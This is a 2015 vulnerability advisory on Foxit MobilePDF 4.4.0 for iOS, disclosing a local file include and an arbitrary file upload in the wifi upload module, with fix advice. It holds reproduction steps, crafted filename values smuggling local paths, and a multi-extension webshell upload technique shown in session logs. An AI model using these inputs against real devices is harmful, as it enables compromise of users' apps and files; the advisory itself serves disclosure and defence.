Document Title:
===============
Foxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1400


Release Date:
=============
2015-01-12


Vulnerability Laboratory ID (VL-ID):
====================================
1400


Common Vulnerability Scoring System:
====================================
6.9


Product & Service Introduction:
===============================
Foxit MobilePDF enables you to view and annotate PDF documents on the go, allowing you to work on your PDF documents anytime, anywhere.
Specify the permissions to restrict operations to PDF files, such as copying content, adding annotation, managing page & bookmark, and printing.
Share, store and synchronize PDF files.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/foxit-mobile-pdf/id507040546 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the  official Foxit MobilePDF v4.4.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-01-12:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Foxit Corporation
Product: MobilePDF - iOS Web Application (Wifi) 4.4.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application.
The local file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific 
path commands to compromise the mobile web-application.

The vulnerability is located in the `filename` value of the wifi interface `upload` module. Local attackers are able to manipulate the 
wifi web interface by usage of the vulnerable `upload` POST method request.  The service does not encode or parse the `filename` context 
on uploads. Attackers can include an existing local application path or an existing local device path as source in connection with script 
code to compromise the iOS app. The execution of unauthorized local file or path request occurs in the index of documents module of the 
wifi file service application after the inject. The request method to inject is POST and the attack vector is located on the application-side 
of the affected iOS application.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. 
Exploitation of the local file include web vulnerability in the upload module requires no user interaction or privileged web-application user account. 
Successful exploitation of the local file include web vulnerability results in mobile application compromise or compromised device components.

Vulnerable Method(s):
        [+] POST

Vulnerable Module(s):
        [+] Upload

Vulnerable Parameter(s):
        [+] filename (name)

Affected Module(s):
        [+] Index of Documents (https://localhost:8888)



1.2
An arbitrary file upload web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the 
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension 
`pentest.png.html.php.js.aspx.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file 
extension and can access the webshell with elevated access rights to execute. 

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.


Request Method(s):
        [+] [POST]

Vulnerable Module(s):
        [+] Upload

Vulnerable Parameter(s):
        [+] filename  (multiple extensions)

Affected Module(s):
        [+] Index of Documents (https://localhost:8888)


Proof of Concept (PoC):
=======================
1.1
The local file include vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Download and install the FoxIT MobilePDF iOS application
2. Surf to the Documents Index of the Wifi Server (https://localhost:8888)
3. Start to choose a file for the upload function by usage of the search
4. Intercept the session by usage of a tamper and change the name value to the local device path source
5. Continue the request and save the settings. After that go back to the Index of Documents
Note: The execution of the script code occurs in the vulnerable name value of the index file dir list
6. Successful reproduce of the security vulnerability!

PoC: Index of Documents (Name)
<tr><td><a href="/<img src="><img src="./[LOCAL FILE INCLUDE VULNERABILITY!]</a"></a></td><td align="center">file</td>
<td align="center"><span class="m">2015-01-10 13:49</span></td><td align="center"><span class="s">538 B</span></td></tr>

--- PoC Session Logs [POST] (File Include > Upload)---
Status: 200[OK]
POST https://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[3624] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8888]
      User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]    
  Referer[https://localhost:8888/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------3796507625132
Content-Disposition: form-data; name="button"; 
filename="./[LOCAL FILE INCLUDE VULNERABILITY!]+2.png" 
Content-Type: image/png

--- PoC Session Logs [GET] (File Dir Index List)---
13:54:26.427[48ms][total 48ms] Status: 200[OK]
GET https://localhost:8888/%3C/./[LOCAL FILE INCLUDE VULNERABILITY!] Load Flags[LOAD_NORMAL] Größe des Inhalts[142] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]  
    Referer[https://localhost:8888/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[142]
      Date[Sa., 10 Jan. 2015 12:49:30 GMT]

Reference(s):
https://localhost:8888/
https://localhost:8888/%3C/./



1.2
The arbitrary file upload vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: URL
https://localhost:8888/./webshell.png.html.php

PoC: Index of Documents
<tr><td><a href="/webshell.png.html.php.js.png">webshell.png.html.php.js.png</a></td>
<td align="center">file</td><td align="center"><span class="m">2015-01-10 13:58</span></td>
<td align="center"><span class="s">538 B</span></td></tr>

--- PoC Session Logs [POST] ---
14:03:16.481[149ms][total 1583ms] Status: 200[OK]
POST https://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[3883] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8888]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://localhost:8888/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------282243582256
Content-Disposition: form-data; name="button"; filename="webshell.png.html.php.js.png"
Content-Type: image/png

Reference(s):
https://localhost:8888/
https://localhost:8888/./webshell.png.html.php


Solution - Fix & Patch:
=======================
1.1
The file include vulnerability can be paütched by a secure parse and encode of the vulnerable `filename` value in the upload POST method request.
Restrict the filename input and filter with an own set exception to prevent application-side attacks.
Parse also in the Index of Documents the vulnerable name output value to solve the issue.

1.2
Restrict the vulnerable `filename` value and implement a secure filter mechanism with own exception to prevent the upload of files with multiple extensions.
Restrict the upload folder and disallow the execution of files that are already uploaded.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the upload POSt method request is estimated as high. (CVSS 6.9)

1.2
The security risk of the arbitrary file upload vulnerability in the upload POST method request is estimated as high. (CVSS 6.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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